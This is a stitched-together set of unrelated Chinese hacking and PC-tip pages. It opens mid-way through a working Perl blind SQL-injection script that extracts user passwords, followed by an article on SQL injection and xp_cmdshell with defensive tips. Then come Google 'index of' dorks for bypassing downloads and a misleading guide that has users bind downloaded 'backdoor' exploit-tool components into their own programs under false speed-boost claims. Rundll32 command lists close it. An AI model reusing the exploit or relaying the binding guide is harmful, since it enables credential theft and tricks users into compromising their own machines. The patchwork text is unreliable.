}
else
{
$mid=int($lh);
}
my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");
my $mid1_flag;
if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}
#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";
if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_pwd_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_pwd_s($low,$mid,$path,$char_now,$id);
}
}
sub get_user_len()
{
my($id)=@_;
for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "User_length of id $id: $user_j\n";
}
else
{
print "Can't get user length\n";
}
return $user_j;
}
sub get_pwd_len()
{
my($id)=@_;
my $user_j,$user_flag;
for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "Pass_length of id $id: $user_j\n";
}
else
{
print "Can't get password length\n";
}
return $user_j;
}
sub GetRequest()
{
my($lpath,$usercookie)=@_;
$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
$remote->autoflush(1);
$content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
$length=length($content);
$post="POST ".$lpath." HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://".$lhost.":".$port."/".$path."\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
"Host: $lhost\r\n".
"Content-Length: ".$length."\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
$content;
print $remote $post;
my $flag=0;
for($i=1;$i<=40;$i++)
{
$line=<$remote>;
if(index($line,"原密码错误")!=-1)
{
$flag=1;
}
}
close $remote;
return $flag;
}
sub usage()
{
print "$0 host port path id mod char\n";
print "mod 0 用户名和密码长度 1 猜用户 2 猜密码\n";
print "char 猜测字符位置 1-20";
}
作者:小金
本文已发表在chip
渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。无论是个人用户、数据库管理员还是网站管理员,要构造一个安全的网站论坛、数据库服务器以及安全的SQL语句脚本,了解渗透技术潜在的危害都非常有必要。
很多用户都有这样一种感觉:计算机信息安全技术或者黑客关心的一些东西都比较高深,其实不然,比如渗透技术,可能仅仅是这个专业的技术名词就已经让你有点眩晕了,但是你知道吗,在日常的计算机应用中,你常常会与渗透技术擦肩而过。
让我们举一个小例子来做个简单的说明:如果我告诉你“’ or 1=1’”这是某个用户在某个论坛注册的用户名或者密码,你会想到些什么呢?如果你稍微有一点SQL语言的常识的话,就会明白这个用户名意味着什么,你就会明白“Select u_name from userlst where u_name=xxx”与“Select u_name from userlst where u_name=xxx or 1=1”之间的巨大差异。对一个安全系数不高的网站来说,黑客可以轻松地利用类似的简单SQL语句对网站 非法访问或者攻击,而这些,仅仅是渗透技术冰山之一角。
试探
“站住!干什么的?”守卫叫住这个在司令部门前徘徊了许久的年轻人。“游客。”年轻人看着守卫,眼神出奇地平静,他似乎有意无意地看了不远处的司令部一眼,落日余辉笼罩下的司令部显得如此神秘。然后,年轻人在守卫警惕的目光下潇洒离去。
渗透,或称Penetrate,它不属于某一种入侵方法,也不属于某种工具。渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。这些原有的功能看起来是那么忠心,可是当它们被入侵者掌握后,却成了入侵者得力的工具。
在一切工作开始之前,入侵者们需要试探。包括目标的功能、漏洞,这些信息在以后的工作中起着重要作用,这一过程称为“扫描”。一般,入侵者们用的扫描器都能汇报大部分已经存在的漏洞和对方提供的服务。当收集到一定数据后,入侵者们就可以决定入侵还是放弃。
偷袭
前面已经提到,渗透有多种表现形式,目前流行的渗透技术表现方式有特殊权限目录、论坛渗透、SQL注射等几种。
突破特殊权限目录
夜深了,守卫正在昏昏欲睡。突然间,一个黑影迅速翻越围墙进了司令部,正是那个白天在司令部门前逗留过一段时间的年轻人,他戴着特制手套,围墙上的玻璃也被弄了一些下来,散落在地上,在月光下闪烁着。年轻人无暇顾及这些,一个转身躲进了暗处。他是一个特工,他的任务是窃取敌方最新的战略分布图。为此,他设法观察这个司令部好几天了,今天终于发现一处戒备疏松的入口。
一般,服务器都会设置一些拥有特殊功能的目录,这些目录用于扩充服务器提供的功能,它们能执行脚本程序,例如论坛。
正因为如此,这些目录里的程序常常会做出异常的事情。服务器上的程序通过处理不同内容的数据请求来实现功能扩充和人机交互,但是,就连程序的编写者也没办法考虑到对方可能会发出什么样数据,而程序只会死板地接受指令干活,于是,危险随时都可能发生。如果入侵者发送一个特殊格式的数据给服务器,由于服务器上处理数据的程序并没有对这种数据做出处理,直接的结果就是程序被溢出,或者执行了入侵者的非法请求,例如要求进入未经允许的目录、查看非授权文件等。因为程序根本不会思考,就乖乖实现了入侵者的心愿。
还记得那个最经典的目录渗透吗——“IIS的二次编码漏洞”正是因为作者没有考虑到一些特殊字符的作用,导致入侵者使用浏览器或别人开发的工具就轻松进入了服务器(图1)。
图1 IIS的“二次编码漏洞”导致了目录渗透。
当然,免费的午餐不一定都好吃,服务器虽然安排了特殊权限目录,可是也不会给它们太多权限。用这种方法渗透的入侵者,充其量不过是个“客人”的角色,能做多少事情?可想而知,入侵者们绝不肯就此罢休。
脆弱的论坛
司令部的侧门开了,也许因为天气闷热,一个戴眼镜的军官出来透气。他看到墙边那一堆闪亮的东西,忙走了过去。可是他还没来得及细看,就倒在那堆玻璃上,年轻人的身影出现在他身后。潜入的特工换上军官的军服,连同帽子和眼镜,然后拿了他的钥匙串,踱着步子走进了司令部。
论坛建立在特殊权限目录的基础上,为服务器开扩了互动的功能,当然也成为入侵者喜爱的一块“肥肉”。因为论坛是由多个文件组合起来的,只要某个文件的编写出了问题,论坛就很可能成为入侵者的钥匙。国内一些著名论坛如DVBBS和LB5000都是入侵者的最爱,因为这些论坛强大的功能让他们能直接取得整个机器的控制权。入侵者甚至只要设法在LB5000的某个文件里写下一行“@ARGV”就能直接进入系统内部。可以这么说:论坛是入侵者最大的“舞台”。
究其原因,是论坛程序作者编写的代码不严密造成的。由于论坛程序的代码是完全透明的,稍有用心的人分析了整个代码就能知道哪一步会出问题——不要以为那些教程上的命令是作者乱按键盘得来的。一旦论坛被渗透,最轻的后果是入侵者坐上管理员的位置,严重的就是入侵者又多了一台被控制的机器(图2)。
图2 黑客利用渗透技术提升LB5000用户权限。
突破口令的防线
特工把帽檐压得很低,司令部里居然没人认出他。他走到深处空无一人的情报间前面,发现这里需要输入一个四位数的密码,键盘下还有一个打印机接口样式的数据孔。特工从怀里拿出一个小机器和数据孔连接上了,然后就开始紧张地等待着什么。
有时候,一个论坛程序或者其他需要密码的入口程序已经被修改得很安全,直接用以前出问题的代码显然是不可能了,难道入侵就这样停止了?不,入侵者们当然不会轻易放弃。
现在最通用的服务器程序是微软的IIS网络信息服务器+ASP活动页面的组合,而这两者最主要的操作就是数据库读写——IIS使用数据库存储资料已经成了标准,可正是这个标准又把服务器的安全推到了危险的边缘。
SQL注射(SQL Injection)是最近比较热的渗透方法,那么,SQL注射是什么?写过数据库程序的朋友都知道,数据库操作需要用户名和密码,否则不允许打开。这些密码通过固定的格式传输,这就是“结构化查询语言”(Structured Query Language)。但是在这个环节上却出了差错:我们能直接阅读到网站的资料是因为作者已经把密码保存在某个文件里面让系统自己提交了。因此,入侵者可以在某个涉及到数据库调用的文件地址后增加一个SQL判断语句来追查密码长度,甚至推测具体密码,例如“data.asp?id=1 and 1=(select id from admin where left(password,5)='lk007')”,如果密码正好是“lk007”,文章就正常显示,因为语句中的“and”查询符两边相等了。这样一步一步下来,入侵者就拿到了完整的密码。这个手法在国外被称为“骇客的SQL填空游戏”,有趣吧?网络管理员可笑不出来。
打入核心
几分钟过去后,特工输入了正确密码,门开了。在他意料之外,里面还有个操作员!距离太近了,操作员认出他并非自己人。
“间谍……”操作员还没说完话就被弹了起来,头撞到了顶板,瞬间没了气息。原来特工按下了门旁的应急按钮,它的设计初衷是把非法入侵者直接扼杀在里面。可是它不会认人,只要你输入了正确密码,它就能为你所用。
特工取到了他要的资料,压低帽檐走了出去,情报间的门悄然关上了,就像什么都没发生过。趁着夜色,特工逃离了司令部。
SQL太强大了,不过这次不是SQL语言,而是SQL服务器程序SQL Server,它给用户提供强大功能的同时,也递给入侵者一把“榔头”。在SQL Server中有很多系统存储过程,有些是数据库内部使用的,还有一些就是通过执行存储过程来调用系统命令。直接危害服务器的是系统存储过程指令“xp_cmdshell”,它以操作系统命令行解释器的方式执行给定的命令字符串,但是它有个致命弱点:它不认人,只要入侵者得到了账号,他同样可以执行很多命令,直接危害服务器。也许你会说,这点无所谓,账号不是那么容易拿的。但是不争气的SQL Server却存在多种能让入侵者得到账号的漏洞,然后(图3)……
图3 针对SQL服务器的xp_cmdshell入侵程序。
其实,入侵者直接在浏览器里输入SQL指令就可以,例如“exec master.dbo.xp_cmdshell '命令行'”。
防范
深夜里,司令部响起了警报。一个士兵无意中发现了倒在地上的军官,尔后人们看到了情报间里操作员的尸体。整个司令部立即进入A级警戒状态,所有人都要经过严密身份识别才被批准进入。
然而,特工还会来吗?
发现服务器被入侵的时候,入侵者已经绝尘而去,广大网络管理员最痛心疾首的事情莫过于此,如果上天给他们一个重来的机会,他们会祈祷入侵者进不来,如果要加一个期限,他们希望是——永远。
话虽如此,但是,不见得每个Webmaster的技术都足够抵挡一切入侵,也不是所有程序都不会有出错的一天,我们应该如何预防渗透技术可能带来的危害呢?看了上面的文章和理论分析,不难得出以下有效的防范措施:
1.确保操作系统、数据库服务器、程序开发语言都打上了最新的补丁程序,如Service Pack以及相应服务器程序的补丁,并记得一定要时刻开启防火墙功能;
2.时刻关注自己服务器的论坛程序最新情况,增加必要的字段过滤;
3.留意用户组的变化,密切注意奇怪的用户名,对用户名和密码注册采取严格的限制策略;
4.定时分析操作系统和数据库日志文件。
Windows 2000和Windows XP作为32位操作系统,通过创建虚拟DOS机来运行MS-DOS和16位Windows程序,它用“命令提示符”(cmd.exe)替换了以前版本(如Windows 98)中的“Command.com”,保留并增强了几乎MS-DOS的所有功能。可是,你真的把它玩转了么?
一、自定义窗口标题
以Win2000为例,CMD默认的窗口标题一般为“C:WINNTSystem32cmd.exe”。如果想要个性化一点的话,可以使用“Title string”命令来重新设置,其中string用来指定命令提示符窗口的标题。例:输入“Title 天天的控制平台”(引号不要输入,下同),标题就被设置为“天天的控制平台”(可以按Ctrl+Shift组合键调出中文输入法来输入汉字)(如图1)。
二、彩色的命令行
“color”是Windows 2000及以上版本中特有的命令,主要功能就是用来改变命令行窗口的颜色。颜色属性由两个十六进制数字指定——第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:
0=黑色 8=灰色
1=蓝色 9=淡蓝色
2=绿色 A=淡绿色
3=湖蓝色 B=淡浅绿色
4=红色 C=淡红色
5=紫色 D=淡紫色
6=黄色 E=淡黄色
7=白色 F=亮白色
例如,“Color A9”是在绿色背景下产生亮蓝色。
提示:如果想恢复到初始状态,只需不带任何参数的运行一次color命令即可,这将会还原到启动时的颜色(黑底白字)。
三、颠覆你的提示符
如果你想使自己爱机的提示符像笔者的一样有个性(如图2),那么就得使用“prompt”命令了。格式如下:
prompt [括号内输入要替换的提示符]
特殊的符号不能直接输入,而必须用到指定代码:
$A & (短 and 符号)
$B | (管道)
$C ( (左括弧)
$D 当前日期
$E Escape code (ASCII 码 27)
$F ) (右括弧)
$G > (大于符号)
$H Backspace (擦除前一个字符)
$L < (小于符号)
$N 当前驱动器
$P 当前驱动器及路径
$Q = (等号)
$S (空格)
$T 当前时间
$V Windows XP 版本号
$_ 换行
$ $ (货币符号)
四、一劳永逸,让命令符酷起来
结合上述方法,装扮出来的命令提示符界面当然“眩目夺人”。但是每次想要SHOW的时候,都要重新输入麻烦命令才行,有没有一个一劳永逸的办法呢?没有办不到的,只有想不到的,方法如下:
“开始”-“运行”-“Regedit”,回车进入注册表编辑器,依次展开HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor分支。在右侧窗口中新建一名为“AutoRun”的字符串值,将其数值设为“prompt <$t $p$Q$$D$V$L$B$g>”,“<$t $p$Q$$D$V$L$B$g>”表示你想用的参数形式。例如我们想把命令行提示符变为:“(当前时间)俺叫你输啥就输啥>”的形式,就输入“prompt $t 俺叫你输啥就输啥$g”。设置完毕后退出注册表即生效。
附:command和cmd的区别:Windows 2000/XP提供了cmd.exe和command.com,cmd.exe是Windows NT命令行接口,它不是一个DOS窗口,而command.com是一个16位的DOS应用程序,它用于支持老的DOS应用程序。就用户来说,这两个命令有惊人的相似之处,这是因为用户在command.com中输入的命令有很大一部分要送到cmd.exe中运行。如果用户运行command.com,用户会在任务管理器中看到一个cmd.exe也在运行。
搜索Google大家都用过吧?我们正是利用它强劲的搜索功能来突破封锁下载,Google搜索和限制下载有什么关系,没可能实现吧?不要不相信哦,往下看哦!
http://www.google.com/intl/zh-CN/
http://www.3721.com/
http://www.baidu.com/
首先打开Google,在关键词输入框中输入"index of/"inurl:lib(双引号为英文状态下),选择“搜索简体中文网页”选项,回车搜索,得到了一些网页,不要以为这是一些普通的页面,其实它们是一些图书网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?
使用其他关键字可能得到更多的资源:
在搜索框上输入:"index of /"cnki
再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口!
在搜索框上输入:"index of /" ppt
再按搜索你就可以突破网站入口下载powerpint作品!
在搜索框上输入:"index of /"mp3
再按搜索你就可以突破网站入口下载mp3、rm等影视作品!
在搜索框上输入:"index of /"swf
再按搜索你就可以突破网站入口下载flash作品!
在搜索框上输入:"index of /"加上要下载的软件名
再按搜索你就可以突破网站入口下载软件!
在搜索框上输入:"index of /"AVI
再按搜索你就可以突破网站入口下载AVI视频
你会找到什么呢?同理,把AVI换为MPEG看看又会找到什么呢?呵呵!接下来不用我再教了吧?那就试一下你的手气吧!
"index of /" RMVB
"index of /" WMA
"index of /" MTV
"index of /" MPEG
以下是百度搜索排名
1. index of mpeg4
3. index of mp3
4. index of cnki
5. index of rmvb
6. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13. index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19. index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. index of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34. index of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download
到这里,大家也许都明白了,其实就是"index of /"这个关键词在起的作用,使用它可以直接进入网站首页下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制,作到了突破限制下载。
怎么回事?点鼠标右键直接用网际快车下不了,都是网页,链接地址是乱码。别灰心懈气,可以在新窗口中打开页面中的超链接,真实地址不就出来了。下面就用马克思ie(mxie)这个超级P2P共享资源搜索引擎帮你搞定收费网站。
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe
马克思ie(mxie)
软件大小:3307KB
软件语言:简体中文
软件类别:国产软件/免费版/搜寻引擎
运行环境:Win9x/Me/NT/2000/XP
马克思ie(mxie)是一个拥有网页浏览器功能的超级P2P搜索引擎,完全免费!各种音乐、电影、动漫、小说、图片等娱乐文件,一切你想得到的都可以找到!采用目前最为先进的多点P2P技术,搜寻到的就能下载到,绝对无死链!神奇的“越多人下载越高速”特性,充分挖掘你的带宽潜力,保证高速!独家装备了强力防火墙穿透利器,即使在严密防护的企业防火墙后也能通行自如。
完全免费,永远免费!
完全免费!永远免费!马克思ie(mxie)就是要把免费进行到底!奉行网络上的马克思主义,打造影音娱乐共产帝国!
编者自述:此方法采用独特技巧,集成了网络加速及穿透防火墙的P2P共享技术,能够无限提升你的网速!----高手自然一点就透,对于菜鸟本人也不想浪费唇舌多作解释,以下跟着洒家向前冲:
先下一个exe文件合成器“绿色分割{X} V3.1”:
http://www.pcdog.com/soft/20205.htm
http://www1.pcdog.com/down/Split3.1.rar
解压到指定文件夹。再下一个加速软件“speed4web”:
Speed4WEB 可以帮忙你把浏览器的速度提升到原来的300%!程序使用简单,提交小巧!功能强大!
Speed4WEB V2.2.3.2 汉化版:
http://www.yqdown.com/soft/675.htm
http://km.yqdown.com:8989/UUAuth/wl...ed4WEB_v2.H.rar
http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe
http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe
解压安装后点击桌面图标打开,在所有选项前均打勾(除了“总在顶部”),最小化令其运行。
点桌面图标右键,点属性,点查找目标,找出其真实应用文件“Speed4WEB.exe”,将它复制到指定文件夹。
选择你最想加速的文件***:点桌面图标右键,点属性,点查找目标,找出其真实应用文件“***.exe”,复制到指定文件夹。
双击打开绿色分割,点“合并”,点“合并任意文件”,点+号依次选择“***.exe、Speed4WEB.exe”,点“设置”,点“正常、分割完成后生成合并exe文件”,点“保存文件”选择***文件原路径,重命名为“***.exe”,点开始即可替换原“***.exe”。
注意:合并过程中***软件不可使用,否则无法成功替换原***文件!也不可以关闭Speed4WEB!
再下一个共享资源搜索利器“马克思ieV.0.4.0.0 最新版--
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe
解压双击安装后,以“马克思ie(mxie)”为例,下载后重命名为“马克思ie(mxie).exe”即可直接双击安装,点桌面上刚刚生成的”马克思ie(mxie)”图标右键,点属性,点查找目标,找出其真实应用文件“mxie.exe”,复制到指定文件夹。下面按步就搬即可。
以上方法经本人测试,适合于各式各样五花八门的下载工具、游戏、浏览器以及其它一切与网络相关的软件。----这种合成的软件同时运行的越多,网速愈快!
每个人上网的方式与宽带限制都不一样,有时候是电信局封了BT端口或用了扫描仪限制下载流量,请恕本人也无能为力了!用过马克思ie的朋友仍然嫌慢的话,请打上下面的补丁
最新上传漏洞通用工具 V1.0
http://soft.sq88.com/soft/537.htm
http://download.sq88.com/hk/upld.rar
动网下载中心上传漏洞利用工具
http://soft.sq88.com/soft/419.htm
http://download.sq88.com/hk/dvup.rar
任意下载其中一个后门程序,解压后即可见其中的两个ActiveX控件“MSINET.OCX、MSWINSCK.OCX”,然后再用绿色分割合并即可。
好了,废话少说。觉得有用请顶一下,并帮我多多转贴,别小心眼偷懒呀!
当网上有半数人熟悉此法时,估计收费网站也要破产了!
winexec(Pchar('StrCommand'),sw_Show);
其中"StrCommand"代表以下命令之一(使用Windows中的运行不要加引号):
"rundll32 shell32,Control_RunDLL" - 运行控制面板
"rundll32 shell32,OpenAs_RunDLL" - 打开"打开方式"窗口
"rundll32 shell32,ShellAboutA Info-Box" - 打开"关于"窗口
"rundll32 shell32,Control_RunDLL desk.cpl" - 打开"显示属性"窗口
"rundll32 user,cascadechildwindows" - 层叠全部窗口
"rundll32 user,tilechildwindows" - 最小化所有的子窗口
"rundll32 user,repaintscreen" - 刷新桌面
"rundll32 shell,shellexecute Explorer" - 重新运行Windows Explorer
"rundll32 keyboard,disable" - 锁写键盘
"rundll32 mouse,disable" - 让鼠标失效
"rundll32 user,swapmousebutton" - 交换鼠标按钮
"rundll32 user,setcursorpos" - 设置鼠标位置为(0,0)
"rundll32 user,wnetconnectdialog" - 打开"映射网络驱动器"窗口
"rundll32 user,wnetdisconnectdialog" - 打开"断开网络驱动器"窗口
"rundll32 user,disableoemlayer" - 显示BSOD窗口, (BSOD) = Blue Screen Of Death, 即蓝屏
"rundll32 diskcopy,DiskCopyRunDll" - 打开磁盘复制窗口
"rundll32 rnaui.dll,RnaWizard" - 运行"Internet连接向导", 如果加上参数"/1"则为silent模式
"rundll32 shell32,SHFormatDrive" - 打开"格式化磁盘(A)"窗口
"rundll32 shell32,SHExitWindowsEx -1" - 冷启动Windows Explorer
"rundll32 shell32,SHExitWindowsEx 1" - 关机
"rundll32 shell32,SHExitWindowsEx 0" - 退当前用户
"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重启
"rundll32 krnl386.exe,exitkernel" - 强行退出Windows 9x(无确认)
"rundll rnaui.dll,RnaDial "MyConnect" - 运行"网络连接"对话框
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 选择打印机和打印测试页
"rundll32 user,setcaretblinktime" - 设置光标闪烁速度
"rundll32 user, setdoubleclicktime" - 测试鼠标双击速度
"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP设备
控制面板中的各项功能
winexec('rundll32.exe shell32.dll, Control_RunDLL', 9);
{辅助选项 属性-键盘}
winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 1', 9);
{辅助选项 属性-声音}
winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 2', 9);
{辅助选项 属性-显示}
winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 3', 9);
{辅助选项 属性-鼠标}
winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 4', 9);
{辅助选项 属性-常规}
winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 5', 9);
{添加/删除程序 属性-安装/卸载}
winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 1', 9);
{添加/删除程序 属性-Windows安装程序}
winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 2', 9);
{添加/删除程序 属性-启动盘}
winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 3', 9);
{显示 属性-背景}
winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 0', 9);
{显示 属性-屏幕保护程序}
winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 1', 9);
{显示 属性-外观}
winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 2', 9);
{显示 属性-设置}
winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 3', 9);
{Internet 属性-常规}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 0', 9);
{Internet 属性-安全}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 1', 9);
{Internet 属性-内容}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 2', 9);
{Internet 属性-连接}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 3', 9);
{Internet 属性-程序}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 4', 9);
{Internet 属性-高级}
winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 5', 9);
{区域设置 属性-区域设置}
winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 0', 9);
{区域设置 属性-数字}
winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 1', 9);
{区域设置 属性-货币}
winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 2', 9);
{区域设置 属性-时间}
winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 3', 9);
{区域设置 属性-日期}
winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 4', 9);
winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 0', 9);
winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 1', 9);
{鼠标 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL Main.cpl', 9);
{多媒体 属性-音频}
winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 0', 9);
{多媒体 属性-视频}
winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 1', 9);
{多媒体 属性-MIDI}
winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 2', 9);
{多媒体 属性-CD音乐}
winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 3', 9);
{多媒体 属性-设备}
winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 4', 9);
{调制解调器 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL Modem.cpl', 9);
winexec('rundll32.exe shell32.dll, Control_RunDLL Netcpl.cpl', 9);
{密码 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL Password.cpl', 9);
{扫描仪与数字相机 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL Sticpl.cpl', 9);
{系统 属性-常规}
winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 0', 9);
{系统 属性-设备管理器}
winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 1', 9);
{系统 属性-硬件配置文件}
winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 2', 9);
{系统 属性-性能}
winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 3', 9);
{日期/时间 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL timedate.cpl', 9);
{电源管理 属性}
winexec('rundll32.exe shell32.dll, Control_RunDLL Powercfg.cpl', 9);
winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
关于调用后的判断处理建议:
先声明一个cardinal类型的变量RtnCardinal获取返回值进行判断如:
RtnCardinal := winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
返回值 可能原因
0 程序超出内存
ERROR_BAD_FORMAT 程序为一个非法的Win32.EXE程序
ERROR_FILE_NOT_FOUND 指定文件没找到
ERROR_PATH_NOT_FOUND 指定路径没找到
使用方法:
点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入"rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:
RUNDLL.EXE ,,
这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:/Program Files/目录,你要把这个路径改成c:/Progra~1/;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
Shell “命令列”
如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用:
命令列: rundll32.exe shell32.dll,Control_RunDLL
功能: 显示控制面板
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
功能: 显示“控制面板-辅助选项-键盘”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
功能: 显示“控制面板-辅助选项-声音”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
功能: 显示“控制面板-辅助选项-显示”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
功能: 显示“控制面板-辅助选项-滑鼠”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
功能: 显示“控制面板-辅助选项-传统”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
功能: 执行“控制面板-添加新硬体”向导。
命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
功能: 执行“控制面板-添加新印表机”向导。
命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
功能: 显示 “控制面板-添加/删除程式-安装/卸载” 面板。
命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
功能: 显示 “控制面板-添加/删除程式-安装Windows” 面板。
命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
功能: 显示 “控制面板-添加/删除程式-启动盘” 面板。
命令列: rundll32.exe syncui.dll,Briefcase_Create
功能: 在桌面上建立一个新的“我的公文包”。
命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
功能: 显示复制软碟视窗
命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
